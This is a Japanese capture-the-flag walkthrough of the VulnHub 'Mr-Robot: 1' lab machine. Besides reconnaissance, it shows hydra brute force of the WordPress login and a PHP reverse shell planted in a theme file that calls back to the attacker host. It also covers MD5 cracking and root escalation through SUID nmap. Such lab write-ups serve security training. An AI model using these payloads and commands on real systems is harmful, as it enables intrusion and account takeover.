「Mr-Robot：1」は、「Leon Johnson」によって開発され、VulnHubにて公開されているシリーズの一つです。
リリース情報
名称: Mr-Robot：1
リリース日: 2016年6月28日
シリーズ: Mr-Robot
作者: Leon Johnson
注意：
macOS Chromeを使用して.OVAファイルをダウンロードした場合、.OVAファイルを.OVFにリネームしてダウンロードする既知の問題点が報告されています。
TryHackMeにおいては、「Mr Robot CTF」ルームとして公開されています。ローカル環境にて仮想イメージの「展開（Deploy）」が困難な場合、TryHackMeのプラットフォームを利用することをお勧めします。
Description
Based on the show, Mr. Robot.
This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.
The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
このマシンの攻略とは、3つの「Key：フラグ」を獲得することにあります。
Walkthrough
列挙
稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。
kali@kali:~$ sudo netdiscover -r 172.16.208.0
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
172.16.208.1 00:50:56:c0:00:08 1 60 VMware, Inc.
172.16.208.2 00:50:56:f3:32:8a 1 60 VMware, Inc.
172.16.208.142 00:0c:29:5f:e4:e5 1 60 VMware, Inc.
これで、標的のIPアドレスが172.16.208.142であることが特定できました。
実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -T4 -A -v 172.16.208.142コマンド構文を使用します。
kali@kali:~$ nmap -Pn -T4 -A -v 172.16.208.142
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-04 22:34 EDT
Nmap scan report for 172.16.208.142
Host is up (0.0011s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after: 2025-09-13T10:45:03
| MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
| ポート番号 | サービス | バージョン |
|---|---|---|
| 80/tcp | http | Apache httpd |
| 443/tcp | ssl/http | Apache httpd |
HTTPサービスのスキャン
robots.txt ファイル
curlコマンドを使って80/tcpにアクセスしてみます。robots.txtファイルの有無を確認してみましょう。
kali@kali:~$ curl http://172.16.208.142/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
フラグ 1
key-1-of-3.txtファイルは1つめのフラグです。取得して内容を確認しましょう。
kali@kali:~$ curl http://172.16.208.142/key-1-of-3.txt
0734{BLOCKED}24b9
辞書ファイル
fsocity.dicファイルは何かの「辞書ファイル」と思われます。保存しておきましょう。
kali@kali:~$ curl http://172.16.208.142/fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
.
.
.
kali@kali:~$ curl http://172.16.208.142/fsocity.dic > fsocity.dic
fsocity.dicファイルには、単語の重複がみられます。次のとおり加工しておきましょう。
kali@kali:~$ wc -l fsocity.dic
858160 fsocity.dic
kali@kali:~$ cat fsocity.dic | sort | uniq > wordlist.txt
kali@kali:~$ wc -l wordlist.txt
11451 wordlist.txt
Firefoxブラウザを使って80/tcp、443/tcpにアクセスしてみます。
-
/ディレクトリ:80/tcp、443/tcpにてコンテンツに差はないようです。Commandsリストが表示され、試してみると応答が得られることがわかります。ただし、フラグに繋がる情報は得られません。
ウェブサイトの診断
ウェブサイトの脆弱性を診断するために、niktoを使用してみます。
kali@kali:~$ nikto -h 172.16.208.142
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.208.142
+ Target Hostname: 172.16.208.142
+ Target Port: 80
+ Start Time: 2020-10-04 23:02:11 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://172.16.208.142/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7917 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2020-10-04 23:14:51 (GMT-4) (760 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
WordPressにて構築されたサイトであることが特定できました。
さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。wfuzzコマンドを使用します。
kali@kali:~$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u https://172.16.208.142/FUZZ --hc 404,403 -t 100
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: https://172.16.208.142/FUZZ
Total requests: 20473
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000026: 301 0 L 0 W 0 Ch "0"
000000038: 301 0 L 0 W 0 Ch "0000"
000000956: 301 0 L 0 W 0 Ch "Image"
000001816: 301 7 L 20 W 237 Ch "admin"
000002806: 301 7 L 20 W 237 Ch "audio"
000002769: 301 0 L 0 W 0 Ch "atom"
000003484: 301 7 L 20 W 236 Ch "blog"
000005517: 301 7 L 20 W 235 Ch "css"
000005721: 302 0 L 0 W 0 Ch "dashboard"
000007427: 200 0 L 0 W 0 Ch "favicon.ico"
000007468: 301 0 L 0 W 0 Ch "feed"
000009378: 301 7 L 20 W 238 Ch "images"
000009344: 301 0 L 0 W 0 Ch "image"
000009810: 200 2027 L 19569 489204 Ch "intro"
W
000010191: 301 7 L 20 W 234 Ch "js"
000010799: 200 385 L 3179 W 19930 Ch "license"
000011055: 302 0 L 0 W 0 Ch "login"
000013360: 301 0 L 0 W 0 Ch "page1"
000015014: 200 97 L 842 W 7334 Ch "readme"
000014994: 301 0 L 0 W 0 Ch "rdf"
000015553: 200 3 L 4 W 41 Ch "robots"
000015554: 200 3 L 4 W 41 Ch "robots.txt"
000015646: 301 0 L 0 W 0 Ch "rss"
000015649: 301 0 L 0 W 0 Ch "rss2"
000016639: 200 0 L 0 W 0 Ch "sitemap"
000016640: 200 0 L 0 W 0 Ch "sitemap.xml"
000019153: 301 7 L 20 W 237 Ch "video"
000019952: 301 7 L 20 W 240 Ch "wp-admin"
000019956: 301 7 L 20 W 242 Ch "wp-content"
000019968: 301 7 L 20 W 243 Ch "wp-includes"
000019955: 200 0 L 0 W 0 Ch "wp-config"
000019969: 200 53 L 161 W 2702 Ch "wp-login"
000020166: 405 0 L 6 W 42 Ch "xmlrpc"
Total time: 793.9228
Processed Requests: 20473
Filtered Requests: 20440
Requests/sec.: 25.78714
アクセス権の取得
WordPressの診断
nikto、wfuzzコマンドの結果から、WordPress 管理パネルが/wp-loginのままであることが判明しています。アクセスしてみましょう。
admin:adminの組み合わせを試してみます。「ERROR: Invalid username. Lost your password?」エラーメッセージが表示されました。
hydraコマンドとワードリスト（fsocity.dicファイルを加工して作成したwordlist.txt）を組み合わせてブルートフォース攻撃をしかけます。
ブルートフォース攻撃の詳細な手順については、「ログインフォームに対するブルートフォース（総当たり）攻撃によるパスワード解析」記事をご確認ください。
WordPress 管理パネル（wp-login）へログインする際のPOSTリクエストを記録します。
ここでは、ユーザー名wordpress、パスワードwordpressにてログインを試してみます。
hydraコマンドのhttp-post-formモジュールを使用し、このWebアプリケーションに対しブルートフォース攻撃を実行します。
kali@kali:~$ hydra -L wordlist.txt -p test 172.16.208.142 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=Invalid username"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-08 22:06:03
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://172.16.208.142:80/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=Invalid username
[STATUS] 1971.00 tries/min, 1971 tries in 00:01h, 9481 to do in 00:05h, 16 active
[80][http-post-form] host: 172.16.208.142 login: elliot password: test
[80][http-post-form] host: 172.16.208.142 login: ELLIOT password: test
[80][http-post-form] host: 172.16.208.142 login: Elliot password: test
[STATUS] 2037.33 tries/min, 6112 tries in 00:03h, 5340 to do in 00:03h, 16 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-08 22:11:43
3件の応答を得ることができました。
- login: elliot
- login: ELLIOT
- login: Elliot
有効なユーザーアカウントとパスワードtestを組み合わせてログインの試行を行います。
kali@kali:~$ hydra -l ELLIOT -P wordlist.txt 172.16.208.142 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=is incorrect"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-10 11:01:11
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://172.16.208.142:80/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=is incorrect
[STATUS] 1569.00 tries/min, 1569 tries in 00:01h, 9883 to do in 00:07h, 16 active
[STATUS] 1584.67 tries/min, 4754 tries in 00:03h, 6698 to do in 00:05h, 16 active
[80][http-post-form] host: 172.16.208.142 login: ELLIOT password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-10 11:04:55
hydraコマンドにてブルートフォース攻撃を行った結果、有効なユーザー名とパスワードの組は次のとおりでした。
| ユーザー名 | パスワード |
|---|---|
| elliot | ER28-0652 |
| ELLIOT | ER28-0652 |
| Elliot | ER28-0652 |
Elliot:ER28-0652の組み合わせを試してみます。ログインに成功しました。
リバースシェル
WordPress 管理パネルにログインし、左側の[Appearance] > [Editor]と選択します。その上でtwentyfourteen: 404 Template (404.php)を表示します。
次のリバースシェルコードと置き換えます。
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.208.137/4444 0>&1'");
?>
kali@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
kali@kali:~$ curl http://172.16.208.142/wordpress/wp-content/themes/twentyforteen/404.php
kali@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.137] from (UNKNOWN) [172.16.208.142] 54044
bash: cannot set terminal process group (2193): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$
シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ python -c 'import pty; pty.spawn("/bin/bash")'
システム探索
/home/robotディレクトリに移動します。
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home
cd /home
daemon@linux:/home$ ls
ls
robot
daemon@linux:/home$ cd robot
cd robot
daemon@linux:/home/robot$
フラグkey-2-of-3.txtファイルがみえますが、参照権限がありません。
daemon@linux:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$
password.raw-md5ファイルを参照します。
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
kaliマシンにて、取得したhashmd5ファイルを解析します。
kali@kali:~/OffsecVM$ touch hashmd5
kali@kali:~/OffsecVM$ echo robot:c3fcd3d76192e4007dfb496cca67e13b > hashmd5
kali@kali:~/OffsecVM$ /usr/sbin/john hashmd5 --format=Raw-MD5 --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)
1g 0:00:00:00 DONE (2020-10-12 02:37) 1.162g/s 47106p/s 47106c/s 47106C/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
パスワードabcdefghijklmnopqrstuvwxyzの解析に成功しました。robotアカウントに切り替えます。
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$
フラグ 2
key-2-of-3.txtファイルは2つめのフラグです。取得して内容を確認しましょう。
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c{BLOCKED}f959
特権エスカレーション
SUIDビットが設定されたバイナリファイルを検索します。
robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
「GTFOBins」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストです。
このリストから「nmap」の項目を参照します。
この情報を参考に、次のコマンド構文を試行してみます。特権昇格に成功しました。
robot@linux:/opt/bitnami/apps/wordpress/htdocs$ cd
cd
robot@linux:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
#
システム探索
/rootディレクトリに移動します。
# cd /root
# ls -al
ls -al
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd
フラグ 3
key-3-of-3.txtファイルは最後のフラグです。取得して内容を確認しましょう。
# cat key-3-of-3.txt
cat key-3-of-3.txt
0478{BLOCKED}b4e4
参考情報
類似マシン
Walkthrough
- abatchy's blog 「Mr Robot Walkthrough (Vulnhub)」
- Infosec Resources 「Vulnhub Machines Walkthrough Series — Mr. Robot [Updated 2019]」